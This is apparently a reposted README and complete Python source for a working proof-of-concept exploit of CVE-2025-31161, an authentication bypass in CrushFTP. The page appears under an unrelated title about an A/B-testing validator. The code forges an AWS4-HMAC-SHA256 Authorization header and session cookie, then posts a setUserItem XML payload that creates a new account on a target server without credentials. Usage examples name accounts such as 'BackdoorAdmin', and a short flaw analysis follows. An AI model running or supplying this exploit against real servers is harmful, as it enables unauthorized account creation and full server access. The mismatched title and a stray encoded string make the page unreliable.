AB测试代码上线前最后一道防线:Cursor集成式A/B逻辑验证器(支持React/Vue/Svelte三端自动注入,72小时限时开源)
2026/7/18 23:14:10
本项目是一个针对CVE-2025-31161的概念验证(PoC)漏洞利用工具。该漏洞存在于CrushFTP软件中,是一个**关键级别(CVSS 9.8)**的身份验证绕过漏洞,允许攻击者在无需任何凭证的情况下创建新的用户账户,获得对受影响CrushFTP服务器的完全访问权限。
受影响版本:
已修复版本:
该工具依赖于requests库发送HTTP请求:
pipinstallrequests或者通过requirements.txt安装:
pipinstall-r requirements.txt克隆项目并直接运行:
gitclone https://github.com/B1ack4sh/Blackash-CVE-2025-31161.gitcdBlackash-CVE-2025-31161 python cve-2025-31161.py --help最基本的用法只需要指定目标主机:
python cve-2025-31161.py --target_host192.168.1.100python cve-2025-31161.py\--target_host vulnerable-server.example.com\--port8080\--target_user crushadmin\--new_user BackdoorAdmin\--password P@ssw0rd123!| 参数 | 描述 | 默认值 | 必需 |
|---|---|---|---|
--target_host | 目标服务器主机名或IP地址 | 无 | 是 |
--port | CrushFTP Web接口端口 | 8080 | 否 |
--target_user | 目标存在的用户名(用于伪造) | crushadmin | 否 |
--new_user | 要创建的新用户名 | AuthBypassAccount | 否 |
--password | 新用户的密码 | CorrectHorseBatteryStaple | 否 |
--help | 显示帮助信息 | - | - |
示例1:针对默认配置的测试
python cve-2025-31161.py --target_host10.0.0.5这将尝试在10.0.0.5:8080上使用默认参数创建用户。
示例2:自定义用户创建
python cve-2025-31161.py\--target_host ftp.company.com\--port80\--new_user pentester\--password Test123456示例3:指定不同的目标用户
python cve-2025-31161.py\--target_host192.168.56.101\--target_user admin\--new_user system_access\--password SecurePass!2024工具执行时会显示详细的进度信息:
[+] Preparing Payloads [-] Warming up the target [-] Target is up and running [+] Sending Account Create Request [!] User created successfully [+] Exploit Complete you can now login with [*] Username: pentester [*] Password: Test123456.defexploit(target_host,port,target_user,new_user,password):""" 利用CVE-2025-31161漏洞在目标CrushFTP服务器上创建新用户 参数: target_host: 目标服务器主机名或IP地址 port: CrushFTP Web接口端口 target_user: 目标系统中存在的用户名(用于伪造请求) new_user: 要创建的新用户名 password: 新用户的密码 """print("[+] Preparing Payloads")# 构造目标URLwarm_up_url=f"http://{target_host}:{port}/WebInterface/function/"create_user_url=f"http://{target_host}:{port}/WebInterface/function/"# 构造利用漏洞所需的HTTP头# 关键点:Authorization头中的错误格式触发身份验证绕过headers={"Cookie":"currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If","Authorization":"AWS4-HMAC-SHA256 Credential=crushadmin/","Connection":"close",}# 构造创建用户的XML payload# 包含新用户的完整配置信息payload={"command":"setUserItem","data_action":"replace","serverGroup":"MainUsers","username":new_user,"user":f'<?xml version="1.0" encoding="UTF-8"?><user type="properties"><user_name>{new_user}</user_name><password>{password}</password><extra_vfs type="vector"></extra_vfs><version>1.0</version><root_dir>/</root_dir><userVersion>6</userVersion><max_logins>0</max_logins><site>(SITE_PASS)(SITE_DOT)(SITE_EMAILPASSWORD)(CONNECT)</site><created_by_username>{target_user}</created_by_username><created_by_email></created_by_email><created_time>1744120753370</created_time><password_history></password_history></user>',"xmlItem":"user","vfs_items":'<?xml version="1.0" encoding="UTF-8"?><vfs type="vector"></vfs>',"permissions":'<?xml version="1.0" encoding="UTF-8"?><VFS type="properties"><item name="/">(read)(view)(resume)</item></VFS>',"c2f":"31If"}# 第一步:预热目标服务器,检查可达性print(" [-] Warming up the target")try:warm_up_request=requests.get(warm_up_url,headers=headers,timeout=20)ifwarm_up_request.status_code==200:print(" [-] Target is up and running")exceptrequests.exceptions.ConnectionError:print(" [-] Request timed out, continuing with exploit")# 第二步:发送创建用户的请求print("[+] Sending Account Create Request")create_user_request=requests.post(create_user_url,headers=headers,data=payload)# 检查请求是否成功ifcreate_user_request.status_code!=200:print(" [-] Failed to send request")print(" [+] Status code:",create_user_request.status_code)# 检查响应中是否包含成功标识if'<response_status>OK</response_status>'increate_user_request.text:print(" [!] User created successfully")if__name__=="__main__":""" 主程序入口点,处理命令行参数并调用漏洞利用函数 """# 创建参数解析器parser=ArgumentParser(description="Exploit CVE-2025-31161 to create a new account")# 定义命令行参数parser.add_argument("--target_host",help="Target host")parser.add_argument("--port",type=int,help="Target port",default=8080)parser.add_argument("--target_user",help="Target user",default="crushadmin")parser.add_argument("--new_user",help="New user to create",default="AuthBypassAccount")parser.add_argument("--password",help="Password for the new user",default="CorrectHorseBatteryStaple")# 解析命令行参数args=parser.parse_args()# 验证必需参数ifnotargs.target_host:print(" [-] Target host not specified")parser.print_help()exit(1)# 调用漏洞利用函数exploit(target_host=args.target_host,port=args.port,target_user=args.target_user,new_user=args.new_user,password=args.password)# 输出成功信息print(f"[+] Exploit Complete you can now login with\n [*] Username:{args.new_user}\n [*] Password:{args.password}.")# 关键漏洞触发点分析:## 1. AWS4-HMAC-SHA256认证机制缺陷# Authorization: "AWS4-HMAC-SHA256 Credential=crushadmin/"# 注意:这里的Credential值以斜杠结尾,这种格式会触发身份验证逻辑中的错误## 2. 逻辑缺陷# - 认证解析器在解析Credential时可能出现索引越界# - 导致后续的身份验证检查被跳过# - 允许使用任意已知用户名(如crushadmin)但无需密码## 3. 利用方式# - 通过setUserItem命令创建新用户# - XML格式的用户数据直接嵌入在POST参数中# - 伪造created_by_username字段为存在的用户## 4. 成功条件# - 服务器响应中包含<response_status>OK</response_status># - 新用户将具有完整的访问权限(读、查看、恢复等)根据漏洞描述,CVE-2025-31161的核心问题在于:
Credential=crushadmin/)该漏洞已被添加到CISA的已知被利用漏洞(KEV)目录中,表明其在实际攻击中被广泛利用。FINISHED
6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6p0TxqPwO1tsBau7No6Sln
更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)